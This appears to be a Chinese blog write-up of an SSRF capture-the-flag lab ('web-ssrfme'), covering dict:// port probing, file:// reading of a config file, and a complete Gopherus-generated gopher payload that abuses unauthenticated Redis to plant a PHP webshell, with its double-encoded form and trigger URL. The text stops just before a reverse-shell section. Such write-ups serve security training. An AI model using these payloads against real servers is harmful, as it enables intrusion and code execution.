web-ssrfme复现

06-01 1074阅读

目录

如何是ssr漏洞:

​编辑

一、皮卡丘靶场

docker搭建环境

gopher工具介绍:

工具使用–写任务计划反弹shell:

2月公开赛Web-ssrfme


如何是ssr漏洞:

ssrf:服务器请求伪造漏洞,有一个参数,这个参数可以接收一个网址,可以在本地页面解析,解析过程 中没有进行过滤。

PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()  请求网址

web-ssrfme复现

一、皮卡丘靶场

docker搭建环境
docker run -d -p 8765:80 8023/pikachu-expect:latest

国内很多加速源都用不成,配置代理拉取即可,配置方式如下:

1,新建目录
mkdir -p /etc/systemd/system/docker.service.d
2,新建文件,粘贴并内容,并保存!
vim /etc/systemd/system/docker.service.d/http-proxy.conf
以下粘贴内容,IP一定要换成你代理软件运行的电脑的内网IP,通过ipconfig可以查看
端口一定要是代理软件设置的局域网端口!
[Service]
Environment="HTTP_PROXY=http://192.168.8.125:10819"
Environment="HTTPS_PROXY=http://192.168.8.125:10819"
Environment="NO_PROXY=your-registry.com,127.0.0.1,*.example.com"  
3,重启Docker
systemctl daemon-reload
systemctl restart docker 

就像这样,可是这样好像也没什么用。

curl支持很多协议,有ftp,ftps,http,https,gopher,telnet,dict,file以及ldap
dict协议:探测服务 ?url=dict://127.0.0.1:3306  
此时读出来一些东西,改成3307没内容。证明dict协议可以去探测内网端口。
主要探测:fastcgi服务,可以去实现rec
        redis服务,6379端口,配合redis未授权访问,redis低版本下,很多人会设置访问密码,且安全模式关闭的情况下,我们可以:1.写入webshell(前提知道物理路径)2.写入任务计划,反弹shell 3.写入公钥,直接登录服务器。      

web-ssrfme复现

file协议可以读取文件
?url=file:///var/www/html/inc/config.inc.php
这里读取到了数据库连接文件,前提是:知道路径文件名,看你的当前权限

 web-ssrfme复现

gopher协议
可以发送get和post请求

 获取gopherus工具:

克隆仓库:
git clone https://github.com/tarunkant/Gopherus.git
cd Gopherus
进入Gopherus/目录下
chmod +x install.sh
sudo ./install.sh
执行安装脚本
由于此工具使用的是python2环境,安装时还会报错,我们去安装一个python2环境即可。
参考:【Ubuntu20.04安装python2和python3及版本配置】http://t.csdnimg.cn/Wf5Qi

克隆仓库过程中会出现请求不到网址,只需要配置代理即可(修改“vpn”的代理)

git config --global http.https://github.com.proxy http://10.100.186.105:7897
地址是你本机的内网地址,端口是你的代理软件开启的端口

web-ssrfme复现

安装成功!

web-ssrfme复现

gopher工具介绍:
如果您知道某个地方容易受到 SSRF 攻击,那么此工具将帮助您生成 Gopher有效载荷,以利用SSRF,并获得 RCE(远程代码执行)
root@yfy:~/Gopherus# gopherus --exploit redis
//我们选择攻击redis
  ________              .__
 /  _____/  ____ ______ |  |__   ___________ __ __  ______
/   \  ___ /  _ \\____ \|  |  \_/ __ \_  __ \  |  \/  ___/
\    \_\  (   )  |_> >   Y  \  ___/|  | \/  |  /\___ \
 \______  /\____/|   __/|___|  /\___  >__|  |____//____  >
        \/       |__|        \/     \/                 \/
                author: $_SpyD3r_$
Ready To get SHELL
What do you want?? (ReverseShell/PHPShell):PHPshell
//你要反弹shell还是写入phpshell
Give web root location of server (default is /var/www/html):
//你要写入的根路径是哪个?
Give PHP Payload (We have default PHP Shell): 
gopher://172.18.0.2:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2433%0D%0A%0A%0A%3C%3Fphp%20system%28%27cat%20/flag%27%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/upload%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
进行二次编码:
gopher%3A%2F%2F172.18.0.2%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252433%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2527cat%2520%2Fflag%2527%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252420%250D%250A%2Fvar%2Fwww%2Fhtml%2Fupload%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

然后使用ssrf访问这个内网的shell.php即可得到flag

http://192.168.81.132:8091/?url=http://172.18.0.2:80/upload/shell.php

web-ssrfme复现

我们也可以通过反弹shell来找flag。同样以上操作,会在这台内网主机的upload目录里写入一个shell.php,内容如下:

免责声明:我们致力于保护作者版权,注重分享,被刊用文章因无法核实真实出处,未能及时与作者取得联系,或有版权异议的,请联系管理员,我们会立即处理! 部分文章是来自自研大数据AI进行生成,内容摘自(百度百科,百度知道,头条百科,中国民法典,刑法,牛津词典,新华词典,汉语词典,国家院校,科普平台)等数据,内容仅供学习参考,不准确地方联系删除处理! 图片声明:本站部分配图来自人工智能系统AI生成,觅知网授权图片,PxHere摄影无版权图库和百度,360,搜狗等多加搜索引擎自动关键词搜索配图,如有侵权的图片,请第一时间联系我们。

相关阅读

目录[+]

取消
微信二维码
微信二维码
支付宝二维码